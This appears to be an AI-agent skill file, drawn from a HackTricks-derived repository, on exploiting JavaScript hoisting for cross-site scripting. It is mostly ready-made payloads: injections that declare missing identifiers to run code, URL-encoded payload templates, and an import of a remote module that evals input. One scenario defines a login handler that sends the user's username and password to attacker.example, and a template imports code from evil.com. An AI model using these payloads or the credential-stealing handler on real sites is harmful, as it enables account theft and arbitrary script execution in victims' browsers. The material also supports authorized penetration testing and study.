Hacktricks-skills javascript-hoisting-xss

JavaScript hoisting-based XSS attack techniques. Use this skill whenever the user is testing for XSS vulnerabilities, JavaScript injection, RXSS (Reflected XSS), or any scenario where they need to exploit JavaScript hoisting to bypass errors, inject code before declarations, or manipulate execution order. Trigger on mentions of hoisting, ReferenceError bypass, TypeError bypass, JS injection, or when analyzing JavaScript code for injection points.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/xss-cross-site-scripting/js-hoisting/SKILL.MD
source content

JavaScript Hoisting XSS Attacks

This skill covers exploiting JavaScript hoisting mechanisms to execute arbitrary code in XSS scenarios, particularly when injection points occur after undeclared identifiers are used.

Understanding Hoisting in XSS Contexts

JavaScript hoisting moves declarations to the top of their scope before execution. In XSS scenarios, you can inject declarations that "fix" syntax errors, allowing your payload to execute.

Key Principle

If you can inject JavaScript after an undeclared object/function is used, you can:

  1. Declare the missing identifier in your injection
  2. Fix the syntax error that would otherwise stop execution
  3. Execute your malicious code before the error occurs

Hoisting Types

TypeBehaviorKeywords
Value HoistingUse variable value before declarationFunction declarations
Declaration HoistingReference variable before declaration (value =
undefined
)
var
Lexical HoistingDeclaration side effects occur before evaluation
let
,
const
,
class
Import HoistingBoth type 1 and 4 behaviors
import
statements

Attack Scenarios

Scenario 1: Fixing Undefined Function Calls

When a function is called but not defined, inject the function declaration:

// Vulnerable code
vulnerableFunction('test', '<INJECTION>');

// Payload 1: Define function and execute code
'-alert(1)-''); function vulnerableFunction(a,b){return 1};

// Payload 2: Alternative syntax
test'); function vulnerableFunction(a,b){ return 1 };alert(1)

Scenario 2: Fixing Undefined Variables

When a variable is used but not declared:

// Vulnerable code
function myFunction(a,b){ return 1 };
myFunction(a, '<INJECTION>');

// Payload: Declare the missing variable
test'); var a = 1; alert(1);

Scenario 3: Class Declaration Workaround

Classes cannot be declared after use, but functions can:

// Vulnerable code
var variable = new unexploitableClass();
<INJECTION>

// Payload: Declare as function instead
function unexploitableClass() {
    return 1;
}
alert(1);

Scenario 4: Undeclared Object Method Access

// Vulnerable code
x.y(1,INJECTION)

// Payload: Declare x as function, execute before y is resolved
alert(1));function x(){}//

// Result: x.y(1,alert(1));function x(){}//
// alert() executes before TypeError on y

Scenario 5: Nested Undeclared Methods

// Vulnerable code
x.y.z(1,INJECTION)

// Payload: Import x from external module
");import {x} from "https://example.com/module.js"//

// External module (module.js):
var x = {
  y: {
    z: function(param) {
      eval(param);
    }
  }
};
export { x };

Scenario 6: Bypassing Try-Catch Exception Handling

When sinks are wrapped in try-catch, ReferenceError stops execution. Hoist the identifier to survive:

// Vulnerable code (wrapped in try-catch)
x.y(1,INJECT)

// Payload: Hoist x so parser doesn't throw
prompt()) ; function x(){} //

// Execution flow:
// 1. function x(){} is hoisted
// 2. prompt() executes
// 3. TypeError on y thrown AFTER payload runs

Scenario 7: Preempting Later Declarations (RXSS)

Lock a name with

const
before legitimate code declares it:

// Malicious code (runs first in inline <script>)
const DoLogin = () => {
  const pwd  = Trim(FormInput.InputPassword.value)
  const user = Trim(FormInput.InputUtente.value)
  fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
}

// Later legitimate code (cannot override const)
function DoLogin(){ /* ... */ } // FAILS - const already bound

Important: If injecting via

eval()
,
const/let
are block-scoped. Inject a new
<script>
element for true global bindings.

Scenario 8: Dynamic Import with User-Controlled Specifiers

Server-side rendered apps may forward input into

import()
. With loaders like
import-in-the-middle
, hoisted imports execute before subsequent lines:

// If you control the import specifier
import('${userInput}');

// Attacker module executes before rest of code
// See CVE-2023-38704 for RCE in SSR contexts

Payload Generation

Use the bundled script to generate hoisting payloads:

python scripts/generate_hoisting_payloads.py --scenario <type> --payload <code>

See

scripts/generate_hoisting_payloads.py
for available scenarios and options.

Detection and Testing

Manual Testing Checklist

  1. Identify injection points in JavaScript context
  2. Check for undefined identifiers used before the injection point
  3. Test function hoisting:
    ')%3bfunction+name(){return+1}%3balert(1)
  4. Test variable hoisting:
    ')%3bvar+name+%3d+1%3balert(1)
  5. Test try-catch bypass:
    alert(1));function+x(){}//
  6. Test const preemption:
    const+name+=+()=%3E{alert(1)}//

Automated Tools

  • KNOXSS v3.6.5+: Includes "JS Injection with Single Quotes Fixing ReferenceError - Object Hoisting" and "Hoisting Override" test cases
  • Run against RXSS contexts that throw
    ReferenceError
    /
    TypeError

Common Patterns

PatternPayload Template
Function hoist
')%3bfunction+name(a,b){return+1}%3b<CODE>
Variable hoist
')%3bvar+name+%3d+1%3b<CODE>
Try-catch bypass
<CODE>);function+name(){}//
Const preemption
const+name+=+()=%3E{<CODE>}//
Import hoist
"%3bimport+%7Bname%7D+from+"https://evil.com/m.js"//

Limitations

  • Properties are not hoisted:
    test.cookie("leo", "INJECTION")
    cannot be fixed if injection is after the code
  • Syntax errors must be fixable: The script must parse successfully after injection
  • Scope matters: Hoisting only works within the same scope
  • Execution order: Your code must execute before the error occurs

References